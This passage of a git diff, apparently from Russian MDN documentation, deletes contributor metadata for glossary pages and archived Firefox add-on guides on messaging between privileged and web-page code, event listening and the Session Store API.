"contributors": [ - "Mashka241" - ] - }, - "Словарь/Prototype-based_programming": { - "modified": "2019-01-16T23:59:58.315Z", - "contributors": [ - "kulakowka", - "SedovDP", - "pk.prog" - ] - }, - "Словарь/Pseudo-element": { - "modified": "2019-03-18T21:09:36.141Z", - "contributors": [ - "Mashka241" - ] - }, - "Словарь/Pseudocode": { - "modified": "2020-11-25T09:22:15.778Z", - "contributors": [ - "tetragidrohlorid", - "ConstantineZz" - ] - }, - "Словарь/Reflow": { - "modified": "2020-06-05T09:05:27.984Z", - "contributors": [ - "ArturBasak" - ] - }, - "Словарь/Regular_expression": { - "modified": "2019-04-18T02:00:21.122Z", - "contributors": [ - "eXcuteD" - ] - }, - "Словарь/Request_header": { - "modified": "2020-03-13T19:20:00.006Z", - "contributors": [ - "fuggy", - "andrewtk" - ] - }, - "Словарь/Responsive_web_design": { - "modified": "2019-03-18T21:43:12.877Z", - "contributors": [ - "KirilSlender" - ] - }, - "Словарь/Round_Trip_Time_(RTT)": { - "modified": "2019-11-20T06:08:45.669Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/SDP": { - "modified": "2019-07-26T09:45:49.928Z", - "contributors": [ - "Geloosa" - ] - }, - "Словарь/SEO": { - "modified": "2019-03-23T22:03:24.051Z", - "contributors": [ - "dictor93" - ] - }, - "Словарь/SGML": { - "modified": "2020-10-30T05:53:44.653Z", - "contributors": [ - "ksam" - ] - }, - "Словарь/SVG": { - "modified": "2019-03-18T21:43:05.908Z", - "contributors": [ - "KirilSlender" - ] - }, - "Словарь/Scroll_container": { - "modified": "2020-04-24T15:33:30.579Z", - "contributors": [ - "hisbvdis" - ] - }, - "Словарь/Self-Executing_Anonymous_Function": { - "modified": "2019-03-18T21:20:03.779Z", - "contributors": [ - "Hiker-Hope" - ] - }, - "Словарь/Semantics": { - "modified": "2020-05-29T09:05:50.440Z", - "contributors": [ - "mriabokliach", - "EternalCosmos" - ] - }, - "Словарь/Server": { - "modified": "2020-08-16T17:59:50.094Z", - "contributors": [ - "bogatayabaza" - ] - }, - "Словарь/Simple_response_header": { - "modified": "2020-04-06T22:27:29.080Z", - "contributors": [ - "sivackovan" - ] - }, - "Словарь/Sloppy_mode": { - "modified": "2019-01-17T00:16:18.150Z", - "contributors": [ - "anastasiya-solodkaya", - "pk.prog" - ] - }, - "Словарь/Specification": { - "modified": "2019-03-23T22:19:46.992Z", - "contributors": [ - "gogumaUno", - "anastasiya-solodkaya", - "JeanPaulLucien" - ] - }, - "Словарь/Symbol": { - "modified": "2019-03-23T22:08:34.792Z", - "contributors": [ - "4opper", - "yanakey", - "GRIDARK", - "animhotep", - "neutral" - ] - }, - "Словарь/TCP": { - "modified": "2020-03-13T16:54:36.615Z", - "contributors": [ - "fuggy", - "michael_v92" - ] - }, - "Словарь/TLS": { - "modified": "2019-03-18T20:53:40.382Z", - "contributors": [ - "vadjradanta" - ] - }, - "Словарь/Time_to_interactive": { - "modified": "2019-11-20T05:58:04.636Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/Truthy": { - "modified": "2020-08-31T04:11:21.430Z", - "contributors": [ - "Dvash", - "almaceleste", - "Anna-Myzukina" - ] - }, - "Словарь/Type": { - "modified": "2020-03-23T07:29:25.211Z", - "contributors": [ - "wentout", - "almaceleste" - ] - }, - "Словарь/Type_Conversion": { - "modified": "2020-02-29T13:57:43.565Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/Type_coercion": { - "modified": "2020-02-29T11:20:13.549Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/UI": { - "modified": "2019-03-31T19:21:03.782Z", - "contributors": [ - "niktariy", - "boxa6" - ] - }, - "Словарь/URL": { - "modified": "2019-03-23T22:09:11.858Z", - "contributors": [ - "djigach", - "gadjetron", - "s-mage" - ] - }, - "Словарь/User_agent": { - "modified": "2019-04-09T06:22:31.182Z", - "contributors": [ - "JCodeg", - "fidelman", - "while0pass" - ] - }, - "Словарь/Variable": { - "modified": "2019-03-23T22:22:44.135Z", - "contributors": [ - "thecodecreator" - ] - }, - "Словарь/Vendor_Prefix": { - "modified": "2020-06-20T15:20:37.026Z", - "contributors": [ - "bushuevky" - ] - }, - "Словарь/Viewport": { - "modified": "2019-09-13T09:25:23.206Z", - "contributors": [ - "deex_iv", - "ozil07" - ] - }, - "Словарь/W3C": { - "modified": "2019-03-23T22:19:42.916Z", - "contributors": [ - "JeanPaulLucien" - ] - }, - "Словарь/WAI": { - "modified": "2019-03-18T20:56:13.772Z", - "contributors": [ - "iamvector" - ] - }, - "Словарь/WHATWG": { - "modified": "2019-07-07T09:42:47.815Z", - "contributors": [ - "fuggy" - ] - }, - "Словарь/WebKit": { - "modified": "2020-10-10T22:56:31.647Z", - "contributors": [ - "tz4678", - "Madihander" - ] - }, - "Словарь/WebSockets": { - "modified": "2020-03-13T16:54:50.064Z", - "contributors": [ - "fuggy", - "Sheppy", - "Pavel69" - ] - }, - "Словарь/World_Wide_Web": { - "modified": "2019-04-10T12:11:00.638Z", - "contributors": [ - "JCodeg", - "boxa6" - ] - }, - "Словарь/Wrapper": { - "modified": "2019-03-23T22:19:46.418Z", - "contributors": [ - "smkoyan" - ] - }, - "Словарь/XHR_(XMLHttpRequest)": { - "modified": "2020-10-27T09:22:04.704Z", - "contributors": [ - "duckDominatrix" - ] - }, - "Словарь/XHTML": { - "modified": "2019-03-24T00:04:41.651Z", - "contributors": [ - "Sheppy", - "teoli", - "shaman" - ] - }, - "Словарь/XML": { - "modified": "2019-03-26T03:12:53.364Z", - "contributors": [ - "boxa6", - "Houstton" - ] - }, - "Словарь/application_context": { - "modified": "2019-03-18T21:33:46.218Z", - "contributors": [ - "bsergey", - "Lana-Light" - ] - }, - "Словарь/baseline": { - "modified": "2020-08-27T06:37:10.071Z", - "contributors": [ - "DarkExodusXX" - ] - }, - "Словарь/cacheable": { - "modified": "2019-03-23T22:25:05.632Z", - "contributors": [ - "vykulakov", - "pk.prog" - ] - }, - "Словарь/character_encoding": { - "modified": "2019-11-23T10:06:58.821Z", - "contributors": [ - "Igor-Sangin" - ] - }, - "Словарь/data_structure": { - "modified": "2019-03-23T22:40:22.188Z", - "contributors": [ - "alitskevich" - ] - }, - "Словарь/event": { - "modified": "2019-08-19T18:18:09.165Z", - "contributors": [ - "regeneratorl" - ] - }, - "Словарь/first_meaningful_paint": { - "modified": "2019-11-19T16:13:59.472Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/global_variable": { - "modified": "2019-06-28T05:46:29.060Z", - "contributors": [ - "OlehRula" - ] - }, - "Словарь/https": { - "modified": "2019-01-17T02:14:25.160Z", - "contributors": [ - "bazoooker", - "dzandut" - ] - }, - "Словарь/jQuery": { - "modified": "2020-11-17T03:47:58.520Z", - "contributors": [ - "SphinxKnight", - "annamolodcova1909", - "Sparks" - ] - }, - "Словарь/jpeg": { - "modified": "2019-03-18T21:38:25.986Z", - "contributors": [ - "kayablue" - ] - }, - "Словарь/loop": { - "modified": "2020-02-28T13:59:22.366Z", - "contributors": [ - "almaceleste" - ] - }, - "Словарь/origin": { - "modified": "2019-03-23T22:19:26.751Z", - "contributors": [ - "Angelskih" - ] - }, - "Словарь/privileged_code": { - "modified": "2019-03-23T22:25:30.067Z", - "contributors": [ - "pk.prog" - ] - }, - "Словарь/property": { - "modified": "2019-03-23T22:15:35.268Z", - "contributors": [ - "mlilin" - ] - }, - "Словарь/safe": { - "modified": "2020-08-24T16:48:10.493Z", - "contributors": [ - "dev4lex", - "InfinityBuddha", - "serhii73", - "pk.prog" - ] - }, - "Словарь/time_to_first_byte": { - "modified": "2019-11-20T06:03:31.278Z", - "contributors": [ - "Antosik" - ] - }, - "Словарь/undefined": { - "modified": "2019-03-23T22:59:57.929Z", - "contributors": [ - "Sheppy", - "jaguardev" - ] - }, - "Словарь/Аргумент": { - "modified": "2019-05-03T12:07:33.735Z", - "contributors": [ - "Lana-Light" - ] - }, - "Словарь/Атрибут": { - "modified": "2019-01-16T23:17:06.806Z", - "contributors": [ - "anastasiya-solodkaya", - "nikokosh" - ] - }, - "Словарь/Буфер": { - "modified": "2019-03-18T21:38:54.270Z", - "contributors": [ - "PavelVolkovRussia", - "ivan-krot" - ] - }, - "Словарь/Выражение": { - "modified": "2019-03-23T22:35:20.625Z", - "contributors": [ - "DashPisareva", - "tronov", - "BychekRU" - ] - }, - "Словарь/Высокоуровневый_язык_программированияprogramming_language": { - "modified": "2020-01-06T03:30:38.101Z", - "contributors": [ - "LesikTheCat" - ] - }, - "Словарь/Гипертекст": { - "modified": "2019-03-18T21:41:54.496Z", - "contributors": [ - "gadjetron" - ] - }, - "Словарь/Дешифрование": { - "modified": "2019-03-18T20:41:22.238Z", - "contributors": [ - "Frisle" - ] - }, - "Словарь/Домен": { - "modified": "2019-03-23T22:20:15.133Z", - "contributors": [ - "richandhandsomeman" - ] - }, - "Словарь/Доступность": { - "modified": "2019-03-23T22:16:03.534Z", - "contributors": [ - "iamvector", - "ifantom" - ] - }, - "Словарь/Заголовок": { - "modified": "2019-03-18T21:25:04.199Z", - "contributors": [ - "AlexeyIoffe" - ] - }, - "Словарь/Запрещённое_имя_заголовка_ответа": { - "modified": "2019-03-18T21:30:41.483Z", - "contributors": [ - "crabovwik" - ] - }, - "Словарь/Инструменты_разработчика": { - "modified": "2019-03-18T21:46:30.400Z", - "contributors": [ - "bazoooker" - ] - }, - "Словарь/Интернет-провайдер": { - "modified": "2019-03-18T21:16:47.489Z", - "contributors": [ - "skapesec" - ] - }, - "Словарь/КЦД": { - "modified": "2019-03-23T22:06:38.806Z", - "contributors": [ - "Morjodrom" - ] - }, - "Словарь/Константа": { - "modified": "2019-03-23T22:04:38.615Z", - "contributors": [ - "JorJeG" - ] - }, - "Словарь/Кэш": { - "modified": "2019-05-20T15:27:57.334Z", - "contributors": [ - "vanjacksing" - ] - }, - "Словарь/Массив": { - "modified": "2020-01-06T03:28:26.834Z", - "contributors": [ - "LesikTheCat", - "sashakrauzer", - "Cyganov" - ] - }, - "Словарь/Метаданные": { - "modified": "2019-03-18T21:23:05.612Z", - "contributors": [ - "SoMuchEffort" - ] - }, - "Словарь/Поднятие": { - "modified": "2019-03-23T22:28:46.641Z", - "contributors": [ - "ArtyomResh", - "boldyrev-d", - "anastasiya-solodkaya", - "shkarlet", - "AlexKhram" - ] - }, - "Словарь/Порт": { - "modified": "2019-03-23T22:26:53.058Z", - "contributors": [ - "tim-zh" - ] - }, - "Словарь/Пробельные_символы": { - "modified": "2019-04-29T04:51:03.174Z", - "contributors": [ - "sergey.bannikov" - ] - }, - "Словарь/Прокси_сервер": { - "modified": "2020-10-29T15:29:38.405Z", - "contributors": [ - "Rams3ska" - ] - }, - "Словарь/Простой_заголовок": { - "modified": "2019-03-18T21:32:57.580Z", - "contributors": [ - "Skinny-Hunter" - ] - }, - "Словарь/Протокол": { - "modified": "2019-03-18T21:36:48.161Z", - "contributors": [ - "reksar" - ] - }, - "Словарь/Прототип": { - "modified": "2019-03-23T22:22:22.879Z", - "contributors": [ - "cezsored" - ] - }, - "Словарь/Сертифицировано": { - "modified": "2019-03-18T20:41:22.573Z", - "contributors": [ - "Frisle" - ] - }, - "Словарь/Синхронный": { - "modified": "2020-09-18T11:00:03.984Z", - "contributors": [ - "victortemnov", - "jeniasaigak" - ] - }, - "Словарь/Статическая_типизация": { - "modified": "2019-08-04T18:24:12.862Z", - "contributors": [ - "angelhearted" - ] - }, - "Словарь/Строка": { - "modified": "2019-03-23T22:43:22.623Z", - "contributors": [ - "anastasiya-solodkaya", - "arturparkhisenko" - ] - }, - "Словарь/Сущности": { - "modified": "2019-04-29T04:00:32.874Z", - "contributors": [ - "sergey.bannikov" - ] - }, - "Словарь/Тег": { - "modified": "2019-03-23T22:18:08.637Z", - "contributors": [ - "skapesec", - "AKonia" - ] - }, - "Словарь/Функция": { - "modified": "2019-03-23T22:38:18.825Z", - "contributors": [ - "MuradAz" - ] - }, - "Словарь/Элемент": { - "modified": "2019-03-18T21:38:41.974Z", - "contributors": [ - "skapesec", - "kayablue" - ] - }, - "Словарь/функция_обратного_вызова": { - "modified": "2019-03-18T21:32:02.443Z", - "contributors": [ - "jeniasaigak" - ] - }, - "Словарь/хеш": { - "modified": "2019-03-23T22:13:59.337Z", - "contributors": [ - "RealRedFox" - ] - }, - "Создание_расширения": { - "modified": "2019-03-24T00:02:37.950Z", - "contributors": [ - "kaifonaft", - "teoli", - "kup", - "fscholz", - "Tmax", - "Yozh88" - ] - }, - "Создание_расширения/Настройка_Firefox_для_разработки": { - "modified": "2019-03-23T23:59:35.072Z", - "contributors": [ - "Protopopulus" - ] - }, - "Создание_расширения/Настройка_Firefox_для_разработки_расширений": { - "modified": "2019-03-23T23:59:36.564Z", - "contributors": [ - "Protopopulus" - ] - }, - "Создание_расширения_для_Firefox_с_использованием_Mozilla_Build_System": { - "modified": "2019-01-16T16:11:17.475Z", - "contributors": [ - "Kwinto", - "S e r g e y r" - ] - }, - "Справочная_информация_по_Gecko_DOM": { - "modified": "2019-01-16T16:08:57.530Z", - "contributors": [ - "Megapotz" - ] - }, - "Справочная_информация_по_Gecko_DOM/Введение": { - "modified": "2019-03-24T00:04:55.948Z", - "contributors": [ - "ivaskonyan", - "arturparkhisenko", - "T-V-N", - "Paul_Yuhnovich", - "arunpandianp", - "ethertank", - "shaman" - ] - }, - "Справочная_информация_по_Gecko_DOM/Предисловие": { - "modified": "2019-03-23T23:44:43.352Z", - "contributors": [ - "marat-curious", - "Megapotz" - ] - }, - "Справочная_информация_по_Gecko_DOM/Примеры": { - "modified": "2019-01-16T14:46:48.913Z", - "contributors": [ - "Sheppy", - "abba7" - ] - }, - "Темы": { - "modified": "2019-01-16T14:53:24.105Z", - "contributors": [ - "teoli", - "glukin" - ] - } -} \ No newline at end of file diff --git a/files/ru/archive/add-ons/index.html b/files/ru/archive/add-ons/index.html deleted file mode 100644 index 0973c0ebd8..0000000000 --- a/files/ru/archive/add-ons/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Add-ons -slug: Archive/Add-ons -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons ---- -

Archived add-ons documentation.

diff --git a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html b/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html deleted file mode 100644 index c69aa35dc0..0000000000 --- a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Взаимодействие между привилегированными и непривилегированными страницами -slug: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages -translation_of: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages ---- -

Отправка данных из непривилегированного документа в хром

- -

Простым способом отправки данных с веб-страницы на расширение является использование пользовательских событий DOM. В оверлее browser.xul вашего расширения, написать код, который прослушивает событие пользовательского DOM. Здесь мы вызываем событие MyExtensionEvent.

- -
var myExtension = {
-  myListener: function(evt) {
-    alert("Received from web page: " +
-          evt.target.getAttribute("attribute1") + "/" +
-          evt.target.getAttribute("attribute2"));
-  }
-}
-document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-// Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.
-
- -

Данные с веб-страницы (непривилегированный код) будут значениями attribute1 и attribute2. Чтобы вызвать alert () в приемнике и передать данные с веб-страницы, напишите код, например, такой на веб-странице:

- -
var element = document.createElement("MyExtensionDataElement");
-element.setAttribute("attribute1", "foobar");
-element.setAttribute("attribute2", "hello world");
-document.documentElement.appendChild(element);
-
-var evt = document.createEvent("Events");
-evt.initEvent("MyExtensionEvent", true, false);
-element.dispatchEvent(evt);
-
- -

Этот код создает произвольный элемент -- <MyExtensionDataElement /> -- и вставляет его в DOM веб-страницы. Значения устанавливаются для двух произвольных атрибутов элемента. Их также можно назвать любыми, которые вам нравятся, но мы выбрали атрибуты attribute1 и attribute2. Наконец, код создает и отправляет пользовательское событие с именем MyExtensionEvent - подобно стандартным событиям нажатия DOM, которые вы ловите с обработчиками onclick. Событие всплывает на веб-странице и достигает расширения (привилегированный код), где ваш слушатель ловит его и читает значения атрибутов из элемента DOM, где возникло событие.

- -

( Чтобы лучше гарантировать, что другие не реализуют одно и то же событие с другим значением, можно либо присоединить пространство имен к <MyExtensionDataElement /> и проверить обработчик события для правильного свойства namespaceURI, либо согласно спецификации DOM, использовать initEvent () с именем события, которое само является пространством имен (только для имен XML) : " Также настоятельно рекомендуется, чтобы третьи стороны, добавляющие свои собственные события, использовали свой собственный префикс, чтобы избежать путаницы и уменьшить вероятность конфликтов с другими новыми событиями. ")

- -

В случае, когда оверлей вашего расширения не взаимодействует напрямую с browser.xul, например на боковой панели, может быть проще добавить прослушиватель событий в документ верхнего уровня непосредственно, как показано ниже (см. также: доступ к элементам Документ верхнего уровня из дочернего окна).

- -
var mainWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor)
-                  .getInterface(Components.interfaces.nsIWebNavigation)
-                  .QueryInterface(Components.interfaces.nsIDocShellTreeItem)
-                  .rootTreeItem
-                  .QueryInterface(Components.interfaces.nsIInterfaceRequestor)
-                  .getInterface(Components.interfaces.nsIDOMWindow);
-mainWindow.document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-
- -

Если вам нужно передать большое количество данных, рассмотрите возможность использования секций CDATA вместо простых атрибутов в настраиваемом элементе.

- -

Примечание: Если вы используете postMessage () HTML5 для отправки сообщения из непривилегированного кода в привилегированный код, добавление 'true' к концу прослушивателя событий в вашем привилегированном chrome коде позволит получить сообщение.

- -

 

- -
document.addEventListener("message", function(e) { yourFunction(e); }, false, true);
- -

Отправка данных из хрома в непривилегированный документ

- -

Чтобы «ответить» на веб-страницу (например, код возврата), ваше расширение может установить атрибут или присоединить дочерние элементы в элементе назначения события (<MyExtensionDataElement /> в этом примере).

- -

Вы можете при желании очистить созданный элемент или создать его один раз при загрузке веб-страницы, а затем повторно использовать его каждый раз.

- -

Другой вариант - отправить событие возврата из расширения на веб-страницу. Это можно сделать, используя тот же принцип, что и вышеприведенный пример.

- -

Существует только одно расширение, но может быть много активных веб-страниц. Таким образом, чтобы вызвать нужное событие на правой странице, мы должны сообщить расширению, на какую страницу вызывать. Необходимая для этого информация содержится в файле evt.target.ownerDocument.

- -

Мы можем расширить приведенный выше пример с некоторой передачи данных из расширения на веб-страницу. В следующем примере кода два метода объединены: Установка дополнительного атрибута в исходном целевом элементе события и создание нового сообщения о событии с новым целевым элементом события. Для этого нам нужно определить оригинальный целевой элемент глобально. Нам нужен новый триггер события на веб-странице и некоторый код, чтобы показать, что сообщение о событии действительно прибыло. В расширении нам нужно отправить сообщение о событии на нужную веб-страницу.

- -

Код, содержащий обратный вызов, может выглядеть так:

- -

В расширении:

- -
var myExtension =
-{
-  myListener: function(evt)
-  {
-    alert("Received from web page: " +
-           evt.target.getAttribute("attribute1") + "/" +
-           evt.target.getAttribute("attribute2"));
-
-/* the extension answers the page*/
-    evt.target.setAttribute("attribute3", "The extension");
-
-    var doc = evt.target.ownerDocument;
-
-    var AnswerEvt = doc.createElement("MyExtensionAnswer");
-    AnswerEvt.setAttribute("Part1", "answers this.");
-
-    doc.documentElement.appendChild(AnswerEvt);
-
-    var event = doc.createEvent("HTMLEvents");
-    event.initEvent("MyAnswerEvent", true, false);
-    AnswerEvt.dispatchEvent(event);
-  }
-}
-
-document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-//  Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.
-
- -

На веб-странице:

- -
document.addEventListener("MyAnswerEvent",function(e) { ExtensionAnswer(e); },false);
-
-var element;
-
-function CallExtension()
-{
-  var element = document.createElement("MyExtensionDataElement");
-  element.setAttribute("attribute1", "foobar");
-  element.setAttribute("attribute2", "hello world");
-  document.documentElement.appendChild(element);
-  var evt = document.createEvent("Events");
-  evt.initEvent("MyExtensionEvent", true, false);
-  element.dispatchEvent(evt);
-}
-
-function ExtensionAnswer(EvtAnswer)
-{
-  alert(element.getAttribute("attribute3") + " " +
-        EvtAnswer.target.getAttribute("Part1"));
-}
-
- -

Основной пример подобной идеи, расширение передает информацию через атрибуты и запускает событие на div на странице, тут.

- -

Хром-подобные сообщения: запрос json с обратным вызовом json

- -

Веб-страница:

- -
<html>
-  <head>
-    <script>
-      var something = {
-        send_request: function(data, callback) { // analogue of chrome.extension.sendRequest
-          var request = document.createTextNode(JSON.stringify(data));
-
-          request.addEventListener("something-response", function(event) {
-            request.parentNode.removeChild(request);
-
-            if (callback) {
-              var response = JSON.parse(request.nodeValue);
-              callback(response);
-            }
-          }, false);
-
-          document.head.appendChild(request);
-
-          var event = document.createEvent("HTMLEvents");
-          event.initEvent("something-query", true, false);
-          request.dispatchEvent(event);
-        },
-
-        callback: function(response) {
-          return alert("response: " + (response ? response.toSource() : response));
-        }
-      }
-    </script>
-  </head>
-  <body>
-    <button onclick="return something.send_request({foo: 1}, something.callback)">send {foo: 1} with callback</button>
-    <button onclick="return something.send_request({baz: 3}, something.callback)">send {baz: 3} with callback</button>
-    <button onclick="return something.send_request({mozilla: 3})">send {mozilla: 3} without callback</button>
-    <button onclick="return something.send_request({firefox: 4}, something.callback)">send {firefox: 4} with callback</button>
-  </body>
-</html>
-
- -

Наложите оверлей на browser.xul в своем расширении:

- -
var something = {
-  listen_request: function(callback) { // analogue of chrome.extension.onRequest.addListener
-    document.addEventListener("something-query", function(event) {
-      var node = event.target;
-      if (!node || node.nodeType != Node.TEXT_NODE)
-        return;
-
-      var doc = node.ownerDocument;
-      callback(JSON.parse(node.nodeValue), doc, function(response) {
-        node.nodeValue = JSON.stringify(response);
-
-        var event = doc.createEvent("HTMLEvents");
-        event.initEvent("something-response", true, false);
-        return node.dispatchEvent(event);
-      });
-    }, false, true);
-  },
-
-  callback: function(request, sender, callback) {
-    if (request.foo) {
-      return setTimeout(function() {
-      callback({bar: 2});
-      }, 1000);
-    }
-
-    if (request.baz) {
-      return setTimeout(function() {
-      callback({quux: 4});
-      }, 3000);
-    }
-
-    if (request.mozilla) {
-      return alert("alert in chrome");
-    }
-
-    return callback(null);
-  }
-}
-
-something.listen_request(something.callback);
-
- -

Передача сообщения в хроме

- -

Отправка структурированных данных

- -

Вышеупомянутые механизмы используют атрибуты элементов и, таким образом, являются только строками. Вы можете переносить объекты. Gecko запрещает chrome получать доступ к свойствам настраиваемого объекта, добавленным содержимым, поскольку это может создать дыры в безопасности. Обходной путь - рассматривать связь между веб-страницей и chrome как обычным сетевым протоколом и использовать XML.

- -

С атрибутами элементов и E4X это довольно просто. Однако вам нужно конвертировать данные в / из объектов E4X. И ваш chrome должен тщательно проверять каждое пройденное значение (вам нужно сделать это в любом случае).

- -
var targetDoc = null;
-
-function onLoad() {
-  var iframe = document.getElementById("contentiframe");
-  targetDoc = iframe.contentDocument;
-  iframe.contentWindow.addEventListener("newStuff", receiveStuffFromPage, false);
-}
-
-function receiveStuffFromPage(event) {
-  var uc = getEventData(event); // uc = unchecked data in form of E4X XML
-  var stuff = {};
-  stuff.id = sanitize.integer(uc.@id);
-  stuff.name = sanitize.label(uc.@name);
-}
-
-function sendSomethingToPage (something) {
-  var somethingXML = <something/>; // |something| object as E4X XML
-  somethingXML.@id = something.id;
-  somethingXML.@weight = something.weight;
-  sendMsg("sendSomething", somethingXML);
-}
-
-/**
- * Отправить сообщение с chrome на страницу
- * @param type {String} тип события. Получателю необходимо использовать
- * при выполнении addEventListener (type, ...)
- * @param dataXML {E4X} данные или детали
- */
-function sendMsg(type, dataXML) {
-  var el = targetDoc.body;
-  el.setAttribute("eventDataToPage", dataXML ? dataXML.toString() : "");
-  var event = targetDoc.createEvent("Event")
-  event.initEvent(type, true, true);
-  el.dispatchEvent(event);
-}
-
-/**
- * Verifies that the event is indeed coming from our page
- * as expected, and returns the data for that event.
- * @returns {E4X} the (unchecked) detail data from the page.
- * You must check the data.
- * @see <https://developer.mozilla.org/en-US/docs/Code_snippets/
- * Interaction_between_privileged_and_non-privileged_pages#Security_notes>
- */
-function getEventData(event) {
-  if (event.target.ownerDocument != targetDoc)
-    throw "event from unexpected source";
-  return new XML(event.target.getAttribute("eventDataFromPage"));
-}
-
- -

Заметки о безопасности

- - - -

Ресурсы

- -

Обсуждения на форуме Mozillazine

- -

Связь между HTML и вашим расширением

- -

Смотрите также

- - - -

{{ languages( { "fr": "fr/Extraits_de_code/Interaction_entre_des_pages_à_privilèges_et_sans_privilèges", "ja": "ja/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" } ) }}

diff --git a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html b/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html deleted file mode 100644 index 4d6074ac4f..0000000000 --- a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Обработка событий в расширениях Firefox -slug: Archive/Add-ons/Listening_to_events_in_Firefox_extensions -translation_of: Archive/Add-ons/Listening_to_events_in_Firefox_extensions ---- -

Gecko использует события (events) для передачи информации о происходящем во время работы браузера тем модулям, которые желают знать об этом.  События подразделяются на несколько различных категорий. Данная статья поможет Вам узнать основную информацию об этом и даст ссылки на более подробную документацию, описывающую каждую из категорий. Также в этой статье описаны несколько случаев, предоставляющих особый интерес.

-

Типы событий

-

Существует множесто типов событий, которые могут использовать авторы приложений и расширений для получения оповещений от элементов браузера (browser) и закладок (tabbrowser) об изменениях, связанных с загруженным в них содержимым.

-

Простые DOM-события

-

Для обработки простого DOM-события используйте такой код:

-
function callback(evt) {
-  // Здесь Ваш код. Проверяйте значение evt.target чтобы обрабатывать только нужные события.
-}
-
-b.addEventListener("event", callback, false)
-
-

В приведенном примере b - это браузер (browser) или закладка (tabbrowser), от которой Вы хотите получать события. Имейте в виду, что события могут приходить от любого фрейма внутри браузера или в случае закладки - от нескольких браузеров с такой закладкой.

-

Ниже пречислены наиболее интересные DOM-события:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
СобытиеОписание
DOMLinkAddedГенерируется, когда в документе обнаружена новая ссылка (HTML элемент <link>).
DOMTitleChangedГенерируется, когда изменен заголовок страницы.
DOMContentLoadedГенерируется, когда инициализация DOM полностью завершена.
load Генерируется, когда страница, включая картинки, была полностью загружена.
unloadГенерируется, когда пользователь закрыл страницу.
pageshowГенерируется, когда страница показана вновь.
pagehideГенерируется, когда страница скрыта.
-

Более детально о событиях load, unload, pageshow and pagehide, а также о других событиях читайте в статье Firefox's caching behaviour.

-

Обработчики процесса загрузки

-

Для отображения дополнительной информации о ходе загрузки данных из веба можно использовать обработчики процесса загрузки. Они предоставляют детальную информацию о ходе загрузки данных из веба. И браузер (browser) и закладка (tabbrowser) поддерживают следующие конструкции:

-
var progressListener = {
-  // add nsIWebProgressImplementation here
-}
-
-b.addProgressListener(progressListener);
-
-

Where b is the browser or tabbrowser you want to listen to events for. There are code snippets available that give more detail on using web progress listeners.

-

For a tabbrowser, the above code will only get events from the browser that is currently displayed at the time the event occurs. In order to listen to events from all browsers, including those not currently being displayed, the following example can be used:

-
var tabsProgressListener = {
-  // add tabs progress listener implementation here
-}
-
-gBrowser.addTabsProgressListener(tabsProgressListener);
-
-

This lets you receive events related to all tabs. More information about listening to events from all tabs is available.

-

{{ fx_minversion_note("3") }}

-

How events are used by Firefox

-

The Firefox frontend already listens for a number of these progress events from web pages. Most of this goes on in browser.js.

-

DOMLinkHandler

-

The DOMLinkHandler object is called by the DOMLinkAdded event in order to detect any RSS feeds, site icons, or OpenSearch plugins for the web site.

-

pageShowEventHandlers

-

The pageShowEventHandlers() function is called by the pageshow event and is used to populate the character set menu and update the UI elements associated with any detected feeds or OpenSearch plugins for the website.

-

XULBrowserWindow

-

XULBrowserWindow is an {{ interface("nsIWebProgressListener") }} used to get progress events for the currently visible browser. It is used to update the UI for many different reasons:

- -

TabsProgressListener

-

This object is a tabs progress listener and receives events for all browsers in the window. It is used to detect when a webpage attempts to refresh itself and allow the user to block the attempt.

-

How events are used by the tabbrowser

-

tabbrowser maintains a set of objects relating to progress listening for each browser. First it creates a browser-status-filter and adds it as a web progress listener for the browser. Next it creates an internal object to receive all web progress events from the browser. This is created by the method mTabProgressListener(). This receives events from the browser-status-filter. The filter acts to reduce the number of status and progress events to improve performance. The filters are held in the array mFilters, the internal listeners in the array mTabListeners.

-

The internal listeners are used to send out progress events to listeners registered with addProgressListener() (which receives events from the browser that is currently visible) and addTabsProgressListener() (which receives events from all browsers).

-

See also

- -
-  
diff --git a/files/ru/archive/add-ons/session_store_api/index.html b/files/ru/archive/add-ons/session_store_api/index.html deleted file mode 100644 index 3f9ea7078a..0000000000 --- a/files/ru/archive/add-ons/session_store_api/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Session store API -slug: Archive/Add-ons/Session_store_API -translation_of: Archive/Add-ons/Session_store_API ---- -

{{ Fx_minversion_header(2) }} Session store makes it possible for extensions to easily save and restore data across Firefox sessions. There is a simple API that lets extensions access the session store feature.

-

One key scenario in which supporting this feature can be crucial for an extension: Firefox 2 lets users undo the closing of tabs. In order to properly restore your extension's state when a tab is restored, it needs to use the session store API's setTabValue() method to save any data it will need in order to restore its state, and then call getTabValue() to retrieve the previous setting when the tab is restored.

-

The Session Store API is implemented using the {{ Interface("nsISessionStore") }} interface.

-

Knowing when to restore

-

Each time Firefox is about to restore a tab, an event of type SSTabRestoring is sent. If your extension wants to be able to restore data when tabs are restored, you can install a listener like this:

-
function myExtensionHandleRestore(aEvent) {
-  var tab = event.originalTarget;        /* the tab being restored */
